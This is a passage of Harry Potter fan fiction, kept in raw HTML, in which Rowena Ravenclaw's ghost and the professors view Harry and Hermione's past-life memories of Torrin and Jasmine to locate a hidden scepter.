style="text-indent:.25in">Rowena\ntilted her head slightly, regarding Harry and Hermione chuckling a bit. &#8220; It&#8217;s\ntrue that Torrin was quite the ladies man but being sixteen back in the\neleventh century&nbsp; was different, now a\ndays it seems that more people tend to wait before taking serious steps in\nromance, Well maybe not you too.&#8221; She saw their faces increase in color. &#8220;Just\nbecause you have their souls in your body, doesn&#8217;t mean you&#8217;re exactly like\nthem. It just means you might do some of the same things.&nbsp; If you&#8217;re wondering why you are so\ncomfortable with each other it&#8217;s because you were together in your past so it\njust seems natural for you.&nbsp; I mean it&#8217;s\nnot the only path you can take for love, but it&#8217;s the most fulfilling so far.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">I\nhave been watching you all closely since your sixth year began and well I was\nwatching your fencing class when it first started, certain talents you have,\nhave come from a past experience.&nbsp; Do you\nrealize how heavy a sword is? I heard around here from other spirits that you,&#8221;\nshe pointed to Harry &#8220;at the age of twelve used Godric&#8217;s sword. That bloody\nthing is so heavy I couldn&#8217;t even pick it up as a grown woman.&nbsp; But you, you lifted it as if it weighed\nnothing at all.&nbsp; Torrin was an excellent\nswordsman as well a wizard.&nbsp; He could do\nit all. But I suppose if anyone had Godric for a father they would turn out to\nbe excellent with a sword.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nwhat exactly do you need from us?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nneed your memories, of your past life, I am in search of a weapon if you will.\nIt&#8217;s a scepter and it holds great power.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow what you&#8217;re talking about.&#8221; Hermione spoke up , &#8220;in my dreams it was\nreferred to as the Soul Scepter because the one who&#8217;s soul is woven into it is\nthe only one who can use it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s\nright, and those aren&#8217;t just dreams my dear, they are your past memories. And I\nneed to see them.&nbsp; The scepter was hidden\nand only Jasmine and Torrin know where it is.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How\ncan we help?&#8221; Harry asked as the hidden door swung open and professors Snape,\nMcGonagall and Dumbledore stepped inside.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;See\nI told you the two trouble makers would be in the forbidden room. You are aware\nMr. Potter, Miss Granger that there are alarms all over this room. Oh yes this\nis cause for expulsion&#8221; Snape hissed.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Go\nand cool off.&#8221; Rowena said as she stood confronting Snape. &#8220;They were meant to\nfind this room.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Snape\nstared at the transparent woman.&nbsp; &#8220;Are\nyou a new ghost, what is Hogwarts coming to allow such riffraff ghosts in?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How\ndare you insult my school or me, just who do you think you are?&#8221; Rowena\nsnapped.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Your\nschool?&nbsp; Great a ghost who&#8217;s lost her\nmind.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nfounded this school you pitiful excuse for a human.&#8221; Rowena spat.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;As\nmuch as I love to hear insults fly back and forth,&#8221; Dumbledore said with a\nsmile, &#8220;I think we should get on with why you have come to us Rowena.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Rowena\nthen turned to Hermione and spoke softly, &#8220;Jasmine got her acid tongue from me,\nwhich I think you have her gift of sharp remarks as well, she was always ready\nwith an insult to throw back.&#8221; She then turned her attention to Dumbledore.\n&#8220;You know of Slytherin&#8217;s rising?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nam aware of it yes.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nI need to get inside Harry and Hermione&#8217;s head to retrieve information, on a\ncertain.&#8221; She looked at Snape.&nbsp; &#8220;I don&#8217;t\nknow if we can trust him.&#8221; She eyed Snape suspiciously.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\ncan trust him Rowena.&#8221; Professor McGonagall said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nlike I already explained to both Harry and Hermione, I need to find the Soul\nScepter which my daughter and her lover hid at least a thousand years ago.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Dumbledore\nturned to both Harry and Hermione, &#8220;are you two up to this?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nlooked at Harry who nodded his head, &#8220;yes sir, we are willing to help.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All\nright.&#8221; Rowena smiled, &#8220;You&#8217;ll have to be put in an unconscious state for us to\nuse the spell and I will have to join your minds until the search is over.&#8221;\nRowena gave a small laugh at the faces they were making wondering if this was\ngoing to be painful. &#8220;Trust me, you won&#8217;t feel a thing.&#8221;&nbsp; She saw them sigh with relief.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Professor\nMcGonagall transfigured the table into a comfortable bed and Rowena had Harry\nand Hermione lay down next to each other.&nbsp;\nShe smiled as she saw Harry reach over and cover her hand with his.\nTheir fingers laced together as they felt the comfort from each other&#8217;s simple\ntouch.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Professor\nMcGonagall cast the sleeping charm over her two students, while Rowena using\nDumbledore&#8217;s wand used a charm to join Harry and Hermione&#8217;s mind into one.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;This\ncertain spell allows us to see the memories as if we were watching a muggle\nform of entertainment that I was privy to this past year, such great inventions\nsince the eleventh century.&#8221; Rowena smiled with appreciation for muggles and\ntheir inventions.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Professors Dumbledore, McGonagall, and\nSnape along with Rowena stood watching the air ahead of them, it looked like a\nmuggle movie screen.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And\nwhy these two trouble makers?&nbsp; Why not go\ninside the head of Mr. Malfoy since he also seems to be apart of this.&#8221; Snape\nhissed, looking around at the room at the portrait that looked like Draco.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Because,\nthese are the two that actually hid the scepter and the only ones who know\nwhere it is.&nbsp; Also if we went into that\nDraco Malfoy&#8217;s head, who knows if it&#8217;s&nbsp;\nbeing monitored by Slytherin at this very moment, he would know we were\npoking around in his head looking for information.&nbsp; I will not take any chances, we need to be\none step ahead of Slytherin not behind.&#8221; Rowena replied with growing\nimpatience. &#8220;I underestimated him once, I will never again.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Rowena\nlooked down at Harry and Hermione&#8217;s sleeping faces, it was time to poke into\ntheir minds and retrieve the memories.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This\nis where we will see the memories.&#8221; Rowena said, &#8220;we have to find where they\nhid that scepter and how we may obtain it.&nbsp;\nThis may be the only thing we can use against&nbsp; Slytherin.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How\nlong is this gonna take I think we wasted too many hours of precious time on a\nghost&#8217;s theory.&#8221; Snape snapped bitterly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Like\nI said,&#8221; Rowena was becoming impatient, &#8220;this may be the only device you have\nto protect yourselves.&nbsp; And let me guess\nyou were a member of Slytherin house, how could you not with that black heart\nof yours&#8221; Rowena shot back.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Let&#8217;s\njust get this over with.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It\nmay take some time, who knows what memories we would be going through, and\nthere&#8217;s no way to speed ahead or go back this has to flow straight through, we\ncan&#8217;t miss anything, everything may be very important.&#8221; Rowena cleared her\ntransparent throat, &#8220;Sometimes the memories will mix with each others and\nsometimes we will only see a one sided view. Since the spell we used has them\nsharing the same mind, occasionally we will see some of their very own, they\ntend to push through if they are strong enough.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Alright,\nlet&#8217;s begin.&#8221; Professor McGonagall replied as she lifted her wand and spoke the\nincantation.&nbsp; &#8220;How far back are the\nmemories going to start?&#8221; as the magic like screen ahead of them started to\nflicker and practically come to life, it looked like a movie.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\nnot sure.&#8221; Rowena said as she sat in chair facing the memories&#8212;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A\nyoung man who looked exactly like Harry minus the glasses and scar sat at a\nbar&nbsp; with another young man who looked\nexactly like Ron without the freckles, they were drinking some frothy beverage\nout of steins when the door to the tavern opened and another young man who\nlooked exactly like Draco walked in with a taller, more sinister looking older\nfellow following in his wake.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Look\nTorrin, the wind brought something foul smelling into the tavern.&#8221; The Ron look\nalike replied pointing in the direction of the Draco look alike.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nheard that Hufflepuff.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Like\nI care.&#8221; He replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Kai?&#8221;\nTorrin started. &#8220;Must you always taunt Ulrich? I mean he can&#8217;t help being an\nass.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ulrich\njust glared at the two and walked next to them, he simply sat down at the\nbar.&nbsp; The Bar Keeper looked at him\nwaiting for an order.&nbsp; &#8220;Ale.&#8221; Ulrich\nsimply said, and the bar keeper filled another stein with his best brew and\npassed it to Ulrich.&nbsp; He gulped down half\nif it before taking a breath.&nbsp; &#8220;I don&#8217;t\neven like her.&#8221; He whispered mostly to himself.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What&#8217;s\nthe matter Slytherin? Who don&#8217;t you like?&#8221; Torrin asked over hearing Ulrich\ntalking to himself.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nif you must know, I don&#8217;t like Jasmine Ravenclaw all right.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You&#8217;re\nnot alone in that dislike Slytherin, if there is one thing we agree on is our\ndislike of the perfect I&#8212; will&#8212;never &#8211;be &#8211;wrong Ravenclaw.&#8221; Torrin replied\nbitterly as he took another drink of his ale.&nbsp;\n&#8220;Why should it matter, she has been gone for years studying with\nMerlin.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It\nwas sure peaceful here without her always poking her nose into our business,\ntrying to tell us what to do.&#8221; Kai said to Torrin, &#8220;I hope she never returns.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s\njust it Hufflepuff,&#8221; Ulrich spat angerly. &#8220;She is returning tonight during the\nKing&#8217;s celebration. And father wants me to make a good impression on her.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Has\nit been four years already?&#8221; Kai stared into his almost empty ale stein\nsuddenly feeling really depressed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yep,\nshe was due to return the summer before her sixteenth birthday.&#8221; Ulrich said\nthen drinking down the last of his ale.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\ngood look with the Ravenclaw horror, you&#8217;ll need it.&#8221; Torrin replied before he\nand Kai stood from the bar and left the Tavern.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A\nfootman opened the carriage door and offered his hand, a white gloved hand\naccepted it daintily as she was helped from the carriage.&nbsp; After setting both her feet on the ground she\nthanked the footman politely and turned her attention to the tall castle, she\ncould see the glow from the courtyard as it was bathed in bright lights.&nbsp; It was the muggle&nbsp; King Malcomb&#8217;s yearly celebration. More importantly\nthey were welcoming her home. A few months ago she had received an owl with the\ngreatest news, upon returning to her home she would be granted the Title of\nMage not every witch or wizard got such a Title, it was a great honor\nespecially at her only being fifteen going on sixteen.&nbsp; Not even her mother had such a Title.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nwalked into the courtyard seeing everyone in the village that she had known as\na child, true they all looked older but she still knew who they were.&nbsp; She walked through the crowd, several young\ngentlemen bowed before stepping out of her way showing their respect to such a\nfine looking lady.&nbsp; She was not stunned\nby how they were acting, she had gotten quite used to it living in Camelot\nwhere they always treated her like a lady.&nbsp;\nShe continued walking into the grand hall where the celebration was\ncontinuing.&nbsp; She remembered attending her\nmother&#8217;s school here before getting accepted to work with Merlin, she knew\neveryone else still had at least two years of schooling left, except for her.&nbsp; Working with Merlin for the past four years\nallowed her to no longer need schooling.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nsaw two familiar looking boys off to the side flirting shamelessly with a group\nof girls.&nbsp; She was going to ignore them,\nthe way they treated her before she left was appalling.&nbsp; She did not like them, and will never like\nthem.&nbsp; She looked around for someone\nimportant like her mother.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nwas leaning closer to a young lady whispering something sweet in her ear and\nthen he gave her one of his flawless smiles. He saw her face flush bright red\nand she turned away from him to giggle with her friend.&nbsp; What he puts up with to bed a woman he\nthought to sarcastically to himself.&nbsp; He\nnoticed Kai really didn&#8217;t mind the giggling girls, Torrin shook his head with\namusement.&nbsp; He was looking through the\ncrowd for any more attractive females.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">As\nthe crowd parted a bit, he was dumbstruck.&nbsp;\nThere stood the most beautiful young lady he had ever seen, she&#8217;s so\nflawless that she could be an angel. It was obvious she had long hair, but was\npinned up with dainty tendrils hanging down around her face, she held herself\nwith great poise and elegance.&nbsp; He was\nsure he had never seen such a woman before in his life.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nfelt a nudge in his side he looked next to him to find Kai looking at him with\na funny expression on his face.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Alright\nTorrin, just who are you staring at now, I was sure Clarisse was good enough\nfor you, you have to go searching the crowd as well?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Clarisse\nis missing something in the head if you ask my opinion, like her brain.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\ndon&#8217;t screw her brain Torrin.&#8221; Kai replied nonchalantly, almost as if it didn&#8217;t\nmake a difference. And to him it didn&#8217;t.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That\nmay be true Kai, but sometimes I do like to have a little conversation before\ndiving for the sheets.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nare so strange Torrin, I hope you know that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nchuckled lightly, &#8220;what do you think of her.&#8221; He jerked his chin in the\ndirection of the angel.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Kai\nlooked into the crowd and spotted Torrin&#8217;s angel, &#8220;pretty, do you know who she\nis?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ndon&#8217;t know, that&#8217;s why I was kind of asking you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nsomehow caught the woman&#8217;s gaze, he noticed her eyes narrow and glare at him,\nhe flinched.&nbsp; &#8220;Now that was uncalled\nfor.&#8221; He said out loud but trying to speak softly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What?&#8221;\nKai replied hearing his friend speaking softly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That\nlady just glared at me.&#8221; Torrin said unbelieving that anyone would glare at\nhim, especially someone who didn&#8217;t know him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Kai\nchuckled, &#8220;maybe she&#8217;s heard of you and is not going to be easy prey for you my\nfriend.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah,\nwell we shall see about that.&#8221; He stared walking towards her, people seemed to\nget in his way.&nbsp; It was almost as if on\npurpose they were stepping in front of him.&nbsp;\nHe was almost upon the angel when someone walked up to her.&nbsp; &#8220;Jasmine Ravenclaw?&#8221; He heard the older man\nsay.&nbsp; His heart stopped, no way was that\nJasmine, it couldn&#8217;t be. Could it?</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nnodded, &#8220;yes?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Lord\nSalazar Slytherin wishes you speak with you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nsmiled politely, &#8220;alright.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Come\nwith me please.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nfollowed the messenger out to the gardens, she was not aware of someone\nfollowing slowly after her.&nbsp; She was led\ninto a well lit garden and there before her sitting on a bench was none other\nthan Salazar Slytherin.&nbsp; He stood upon\nher approach.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Jasmine\nRavenclaw.&#8221; he bowed with respect.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Lord\nSlytherin.&#8221; She nodded once with her greeting.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Salazar\nlifted her gloved hand and placed a tiny kiss to her knuckles. &#8220;My dear Jasmine\nyou have grown.&#8221; He noticed she had grown tall and filled out in all the right\nplaces.&nbsp; He always knew she would grow to\nbe a ravishing beauty.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\ngave a soft smile. &#8220;Yes sir, one tends to grow up after awhile.&#8221; She pulled her\nhand from his.&nbsp; &#8220;Is there something you\nwanted to see me about?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nhid a smirk <i style="mso-bidi-font-style:normal">Oh there certainly is\nsomething I want to see about you all right, try wearing nothing at all</i>. He\nthought to himself, &#8220;I just wanted to be the first to welcome you home my\ndear.&#8221;&nbsp; Salazar offered her his arm which\nshe accepted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nmy Lord, thank you for the welcome.&#8221; Jasmine said as she started to stroll\nalong the gardens with him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How\nwas it learning with Merlin?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It\nwas fulfilling, I learned a lot from him.&#8221; She sighed. &#8220;I will miss him\nterribly.&#8221; Jasmine glanced to the ground knowing in her heart that Merlin will\nalways be with her, even if he was no longer in the mortal realm.&nbsp; &#8220;I am sorry that Ulrich didn&#8217;t get accepted\nto study with Merlin, I know who he was up for the position as well.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Salazar\nhid an evil glare, &#8220;oh don&#8217;t you worry about that, the best person for the\nposition achieved it.&#8221; <i style="mso-bidi-font-style:normal">There are so many\npositions I would like to see you in</i>.&nbsp;\nHe brought his mind back to reality.&nbsp;\nHe had wanted his son to obtain the knowledge of the great and powerful\nMerlin, now that ship had sailed he had an even better plan to marry her into\nhis family that way he would be able to have that knowledge and that he would\nbe able to use it.&nbsp; &#8220;So the council is\ngiving you title as Mage, I am impressed, Merlin must have owled them with your\ngreat achievements.&nbsp; You will no longer\nbe Jasmine Ravenclaw daughter of Rowena, but Lady Jasmine Ravenclaw Mage.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nit is quite an honor, I don&#8217;t know if I&#8217;m worthy of such an honor.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ever\nsince you were little, you have always had a issue with self confidence.&nbsp; You have a great talent in magic my dear, you\nalways have.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nwasn&#8217;t aware you watched me so closely My Lord.&#8221; She said hiding a glare of her\nown.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Salazar\nwas about to say something when he was interrupted by a shout of his name.&nbsp; &#8220;Slytherin, I think you&#8217;ve held up Miss\nRavenclaw quite enough tonight, his royal highness is ready to start.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both\nSalazar and Jasmine turned to the sound of the voice and found Godric\nGryffindor heading in their direction and walked right up to them.&nbsp; The two grown men glared at each other as if\nthey were still children.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Gryffindor,\nwho cares what that muggle says.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nwill show respect for the king, Slytherin, or you will answer to me.&#8221; Godric\nspat hatefully. &#8220;Muggle or not he deserves your respect.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Salazar\nturned to Jasmine, &#8220;I&#8217;ve taken up quite enough of your time Miss Ravenclaw.&#8221; He\nbowed keeping eye contact, then he turned on his heels and started for the\nGreat Hall.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">As\nsoon as Salazar was gone Godric turned to Jasmine with a smile &#8220;are you alright\nJasmine?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Of\ncourse Lord Gryffindor.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Lord\nSlytherin can be quite a handful at times, he tends to take advantage of\ncertain situations.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nsir, I am aware of that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And\nwell I promised your mother that I would always look out for you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nlooked to the ground for a moment she didn&#8217;t like to be considered a weakling.\nShe lifted her head. &#8220;I don&#8217;t want to sound ungrateful for your service as a\nprotector, and with all due respect I have been studying with Merlin for the\npast four years, I know I can defend myself if the situation calls for\nit.&#8221;&nbsp; She didn&#8217;t mean to sound snappish,\nafter all he was only trying to help.&nbsp;\nBut she didn&#8217;t like being treated like a child either.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nyou probably can, but it&#8217;s always good to have an extra pair of eyes and hands\nif the situation calls for it.&#8221;&nbsp; Godric\nsmiled pleasantly.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nthat&#8217;s true as well, and I do thank you for your help.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Have\nyou spoken to my son, since you&#8217;ve been back?&#8221;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine&#8217;s\neyes narrowed &#8220;no, and I don&#8217;t intend to.&nbsp;\nYour son has never been very kind to me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;People\nchange you know, you two were just 